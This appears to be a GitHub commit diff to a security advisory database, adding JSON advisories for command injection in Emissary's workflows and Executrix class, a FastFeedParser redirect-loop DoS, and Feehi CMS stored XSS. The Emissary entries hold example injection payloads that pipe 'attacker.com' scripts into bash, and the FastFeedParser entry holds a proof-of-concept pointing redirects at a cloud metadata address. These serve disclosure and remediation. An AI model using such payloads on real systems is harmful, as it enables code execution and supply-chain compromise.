Skip to content

File tree

10 files changed

+408
-25
lines changed

10 files changed

+408
-25
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3g6g-gq4r-xjm9",
4+
"modified": "2026-04-08T00:12:42Z",
5+
"published": "2026-04-08T00:12:42Z",
6+
"aliases": [
7+
"CVE-2026-35580"
8+
],
9+
"summary": "Emissary has GitHub Actions Shell Injection via Workflow Inputs",
10+
"details": "## Summary\n\nThree GitHub Actions workflow files contained **10 shell injection points** where\nuser-controlled `workflow_dispatch` inputs were interpolated directly into shell\ncommands via `${{ }}` expression syntax. An attacker with repository write access\ncould inject arbitrary shell commands, leading to repository poisoning and supply\nchain compromise affecting all downstream users.\n\n## Affected Files\n\n| Workflow file | Injection points |\n|------------------------------------------|------------------|\n| `.github/workflows/maven-version.yml` | 4 |\n| `.github/workflows/cherrypick.yml` | 5 |\n| `.github/workflows/maven-release.yml` | 1 |\n\n## Details\n\nGitHub Actions `${{ }}` expressions inside `run:` blocks are substituted **before**\nthe shell interprets the command. When a `workflow_dispatch` input is placed directly\nin a `run:` block, an attacker who can trigger the workflow can break out of the\nintended command and execute arbitrary code.\n\n### Example — `maven-version.yml` (before fix)\n\n```yaml\n- name: Set the name of the branch\n run: echo \"PR_BRANCH=action/${{ github.event.inputs.next_version }}\" >> \"$GITHUB_ENV\"\n```\n\nA malicious input such as `1.0.0\"; curl attacker.com/backdoor.sh | bash; echo \"`\nwould be interpolated directly into the shell, executing arbitrary commands with\nthe job's `GITHUB_TOKEN` permissions (`contents: write`, `pull-requests: write`).\n\n### Impact\n\n- Arbitrary code execution within the CI/CD runner\n- Repository modification via the `contents: write` token (push malicious commits)\n- Supply chain poisoning — downstream users who clone or build receive compromised code\n- Credential exfiltration from the GitHub Actions environment\n\n## Remediation\n\nFixed in two PRs merged into release 8.39.0:\n\n### PR #1286 — Environment variable indirection\n\nReplaced all direct `${{ inputs.* }}` interpolation in `run:` blocks with\nenvironment variable indirection. Inputs are assigned to `env:` at the step level,\nthen referenced as shell variables inside `run:`.\n\n```yaml\n# After (safe — input is never interpreted by the shell parser)\n- name: Set the name of the branch\n run: echo \"PR_BRANCH=action/$IN_NEXT_VERSION\" >> \"$GITHUB_ENV\"\n env:\n IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}\n```\n\n### PR #1288 — Input validation\n\nAdded strict regex validation steps that run before any input is used:\n\n- `maven-version.yml`: Validates `next_version` matches `^[a-zA-Z0-9._-]+$`\n- `maven-release.yml`: Validates `release_suffix` matches `^[a-zA-Z0-9._-]+$`\n- `cherrypick.yml`: Validates `commits` matches `^([0-9a-f]{7,40})(\\s+[0-9a-f]{7,40})*$`\n\nAll jobs now also use `shell: bash` via `defaults.run.shell` to ensure consistent\nshell behavior.\n\n## Workarounds\n\nThere is no workaround other than upgrading. Organizations that have forked\nEmissary should apply the same environment variable indirection and input\nvalidation patterns to their workflow files.\n\n## References\n\n- [PR #1286 — environment variable indirection](https://github.com/NationalSecurityAgency/emissary/pull/1286)\n- [PR #1288 — input validation](https://github.com/NationalSecurityAgency/emissary/pull/1288)\n- [GitHub Security Lab: Keeping your GitHub Actions and workflows secure](https://securitylab.github.com/resources/github-actions-untrusted-input/)\n- Original report: GHSA-wjqm-p579-x3ww",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "gov.nsa.emissary:emissary"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "8.39.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-3g6g-gq4r-xjm9"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35580"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/NationalSecurityAgency/emissary/pull/1286"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/NationalSecurityAgency/emissary/pull/1288"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/NationalSecurityAgency/emissary"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-77"
63+
],
64+
"severity": "CRITICAL",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-04-08T00:12:42Z",
67+
"nvd_published_at": "2026-04-07T17:16:33Z"
68+
}
69+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4gx2-pc4f-wq37",
4+
"modified": "2026-04-08T00:12:26Z",
5+
"published": "2026-04-08T00:12:26Z",
6+
"aliases": [
7+
"CVE-2026-39376"
8+
],
9+
"summary": "FastFeedParser has an infinite redirect loop DoS via meta-refresh chain",
10+
"details": "### Summary\nWhen `parse()` fetches a URL that returns an HTML page containing a `<meta http-equiv=\"refresh\">` tag, it recursively calls itself with the redirect URL — with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check.\n\n\n### Details\n`parse()` catches `ValueError` on XML parse failure, extracts a meta-refresh URL from the HTML response via `_extract_meta_refresh_url()`, and tail-calls itself with that URL. The recursive call is unconditional — there is no maximum redirect depth, no set of already-visited URLs, and no guard against self-referential or looping redirects.\n\n**`fastfeedparser/main.py` — `parse()` (recursive sink):**\n```python\ndef parse(source: str | bytes, ...) -> FastFeedParserDict:\n is_url = isinstance(source, str) and source.startswith((\"http://\", \"https://\"))\n if is_url:\n content = _fetch_url_content(source)\n try:\n return _parse_content(content, ...)\n except ValueError as e:\n ...\n redirect_url = _extract_meta_refresh_url(content, source)\n if redirect_url is None:\n raise\n return parse(redirect_url, ...) # ← unconditional recursion, no depth limit\n```\n\n`_extract_meta_refresh_url()` uses `urljoin(base_url, match.group(1))` so relative, protocol-relative (`//host/path`), and absolute URLs in the `content=` attribute are all followed.\n\n### PoC\nNo live server required. The following monkeypatches `_fetch_url_content` to return an infinite HTML meta-refresh chain and confirms unbounded recursion:\n\n```python\nimport fastfeedparser.main as m\n\ncall_count = 0\n_orig = m._fetch_url_content\n\ndef mock_fetch(url):\n global call_count\n call_count += 1\n if call_count > 10:\n raise RuntimeError(f\"Stopped at call {call_count}\")\n next_url = f\"http://169.254.169.254/step{call_count}/\"\n return f\"\"\"<html><head>\n<meta http-equiv=\"refresh\" content=\"0; url={next_url}\">\n</head><body>not a feed</body></html>\"\"\".encode()\n\nm._fetch_url_content = mock_fetch\n\ntry:\n m.parse(\"http://attacker.com/loop\")\nexcept RuntimeError as e:\n print(f\"CONFIRMED infinite loop: {e}\")\nfinally:\n m._fetch_url_content = _orig\n print(f\"Total fetches before stop: {call_count}\")\n\n# Output:\n# CONFIRMED infinite loop: Stopped at call 11\n# Total fetches before stop: 11\n```\n\nEach recursive call performs a real HTTP request (30 s timeout), HTML parsing, and a Python stack frame allocation. With Python's default recursion limit of 1000 and a 30 s per-request timeout, a single attacker request can hold a server thread busy for up to ~8 hours before a `RecursionError` is raised.\n\n**SSRF chain variant:** The first response can be legitimate HTML redirecting to an internal address (`http://192.168.1.1/`), letting the redirect loop also serve as an SSRF bypass for targets that would otherwise be blocked by application-level URL validation applied only to the initial URL.\n\n\n\n### Impact\nThis is a denial-of-service vulnerability with a secondary SSRF-chaining impact. Any application that accepts user-supplied feed URLs and calls `fastfeedparser.parse()` is affected — including RSS aggregators, feed preview services, and \"subscribe by URL\" features. An attacker with no authentication can:\n\n- Hold a server worker thread indefinitely (one request per attacker connection)\n- Crash the worker process via `RecursionError` after ~1000 redirects\n- Use the redirect chain to pivot SSRF requests to internal network targets",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "fastfeedparser"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.5.10"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.5.9"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39376"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/kagisearch/fastfeedparser"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-400",
58+
"CWE-674"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-08T00:12:26Z",
63+
"nvd_published_at": "2026-04-07T20:16:32Z"
64+
}
65+
}

advisories/unreviewed/2026/04/GHSA-664p-j3q6-p843/GHSA-664p-j3q6-p843.json renamed to advisories/github-reviewed/2026/04/GHSA-664p-j3q6-p843/GHSA-664p-j3q6-p843.json

Lines changed: 16 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,30 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-664p-j3q6-p843",
4-
"modified": "2026-04-07T21:32:37Z",
4+
"modified": "2026-04-08T00:13:35Z",
55
"published": "2026-04-06T18:33:07Z",
66
"aliases": [
77
"CVE-2026-31353"
88
],
9+
"summary": "Feehi CMS has an authenticated stored cross-site scripting (XSS) vulnerability via the Category module",
910
"details": "An authenticated stored cross-site scripting (XSS) vulnerability in the Category module of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name parameter.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "feehi/cms"
22+
},
23+
"versions": [
24+
"2.1.1"
25+
]
26+
}
27+
],
1728
"references": [
1829
{
1930
"type": "ADVISORY",
@@ -24,7 +35,7 @@
2435
"url": "https://github.com/liufee/cms/issues/84"
2536
},
2637
{
27-
"type": "WEB",
38+
"type": "PACKAGE",
2839
"url": "https://github.com/liufee/cms"
2940
}
3041
],
@@ -33,8 +44,8 @@
3344
"CWE-79"
3445
],
3546
"severity": "MODERATE",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
47+
"github_reviewed": true,
48+
"github_reviewed_at": "2026-04-08T00:13:35Z",
3849
"nvd_published_at": "2026-04-06T16:16:33Z"
3950
}
4051
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6c37-7w4p-jg9v",
4+
"modified": "2026-04-08T00:12:50Z",
5+
"published": "2026-04-08T00:12:50Z",
6+
"aliases": [
7+
"CVE-2026-35581"
8+
],
9+
"summary": "Emissary has a Command Injection via PLACE_NAME Configuration in Executrix",
10+
"details": "## Summary\n\nThe `Executrix` utility class constructed shell commands by concatenating\nconfiguration-derived values — including the `PLACE_NAME` parameter — with\ninsufficient sanitization. Only spaces were replaced with underscores, allowing\nshell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through\ninto `/bin/sh -c` command execution.\n\n## Details\n\n### Vulnerable code — `Executrix.java`\n\n**Insufficient sanitization (line 132):**\n```java\nthis.placeName = this.placeName.replace(' ', '_');\n// ONLY replaces spaces — shell metacharacters pass through\n```\n\n**Shell sink (line 1052–1058):**\n```java\nprotected String[] getTimedCommand(final String c) {\n return new String[] {\"/bin/sh\", \"-c\", \"ulimit -c 0; cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\n### Data flow\n\n1. `PLACE_NAME` is read from a configuration file\n2. `Executrix` applies only a space-to-underscore replacement\n3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`)\n4. `tmpNames[DIR]` is concatenated into a shell command string\n5. The command is executed via `/bin/sh -c`\n\n### Example payload\n\n```\nPLACE_NAME = \"test;curl attacker.com/shell.sh|bash;x\"\n```\n\nAfter the original sanitization: `test;curl_attacker.com/shell.sh|bash;x`\n(semicolons, pipes, and other metacharacters preserved)\n\n### Impact\n\n- Arbitrary command execution on the Emissary host\n- Requires the ability to control configuration values (e.g., administrative\n access or a compromised configuration source)\n\n## Remediation\n\nFixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290),\nmerged into release 8.39.0.\n\nThe space-only replacement was replaced with an allowlist regex that strips all\ncharacters not matching `[a-zA-Z0-9_-]`:\n\n```java\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\nprotected static String cleanPlaceName(final String placeName) {\n return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\nThis ensures that any shell metacharacter in the `PLACE_NAME` configuration\nvalue is replaced with an underscore before it can reach a command string.\n\nTests were added to verify that parentheses, slashes, dots, hash, dollar signs,\nbackslashes, quotes, semicolons, carets, and at-signs are all sanitized.\n\n## Workarounds\n\nIf upgrading is not immediately possible, ensure that `PLACE_NAME` values in all\nconfiguration files contain only alphanumeric characters, underscores, and hyphens.\n\n## References\n\n- [PR #1290 — validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290)\n- Original report: GHSA-wjqm-p579-x3ww",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "gov.nsa.emissary:emissary"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "8.39.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35581"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/NationalSecurityAgency/emissary/pull/1290"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/NationalSecurityAgency/emissary"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-78"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-08T00:12:50Z",
63+
"nvd_published_at": "2026-04-07T17:16:33Z"
64+
}
65+
}

advisories/unreviewed/2026/04/GHSA-cgxr-v74v-g9mm/GHSA-cgxr-v74v-g9mm.json renamed to advisories/github-reviewed/2026/04/GHSA-cgxr-v74v-g9mm/GHSA-cgxr-v74v-g9mm.json

Lines changed: 16 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,30 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-cgxr-v74v-g9mm",
4-
"modified": "2026-04-07T21:32:37Z",
4+
"modified": "2026-04-08T00:13:47Z",
55
"published": "2026-04-06T18:33:07Z",
66
"aliases": [
77
"CVE-2026-31350"
88
],
9+
"summary": "Feehi CMS has an authenticated stored cross-site scripting (XSS) vulnerability via the Page Sign parameter",
910
"details": "An authenticated stored cross-site scripting (XSS) vulnerability in Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Page Sign parameter.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "feehi/cms"
22+
},
23+
"versions": [
24+
"2.1.1"
25+
]
26+
}
27+
],
1728
"references": [
1829
{
1930
"type": "ADVISORY",
@@ -24,7 +35,7 @@
2435
"url": "https://github.com/liufee/cms/issues/82"
2536
},
2637
{
27-
"type": "WEB",
38+
"type": "PACKAGE",
2839
"url": "https://github.com/liufee/cms"
2940
}
3041
],
@@ -33,8 +44,8 @@
3344
"CWE-79"
3445
],
3546
"severity": "MODERATE",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
47+
"github_reviewed": true,
48+
"github_reviewed_at": "2026-04-08T00:13:47Z",
3849
"nvd_published_at": "2026-04-06T16:16:32Z"
3950
}
4051
}

advisories/unreviewed/2026/04/GHSA-cvjh-88c8-2jjx/GHSA-cvjh-88c8-2jjx.json renamed to advisories/github-reviewed/2026/04/GHSA-cvjh-88c8-2jjx/GHSA-cvjh-88c8-2jjx.json

Lines changed: 16 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,30 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-cvjh-88c8-2jjx",
4-
"modified": "2026-04-06T21:31:34Z",
4+
"modified": "2026-04-08T00:13:28Z",
55
"published": "2026-04-06T18:33:07Z",
66
"aliases": [
77
"CVE-2026-31351"
88
],
9+
"summary": "Feehi CMS has an authenticated stored cross-site scripting (XSS) vulnerability via the creation/editing module",
910
"details": "An authenticated stored cross-site scripting (XSS) vulnerability in the creation/editing module of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Title parameter.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "feehi/cms"
22+
},
23+
"versions": [
24+
"2.1.1"
25+
]
26+
}
27+
],
1728
"references": [
1829
{
1930
"type": "ADVISORY",
@@ -24,7 +35,7 @@
2435
"url": "https://github.com/liufee/cms/issues/81"
2536
},
2637
{
27-
"type": "WEB",
38+
"type": "PACKAGE",
2839
"url": "https://github.com/liufee/cms"
2940
}
3041
],
@@ -33,8 +44,8 @@
3344
"CWE-79"
3445
],
3546
"severity": "MODERATE",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
47+
"github_reviewed": true,
48+
"github_reviewed_at": "2026-04-08T00:13:28Z",
3849
"nvd_published_at": "2026-04-06T16:16:32Z"
3950
}
4051
}

0 commit comments

Comments
 (0)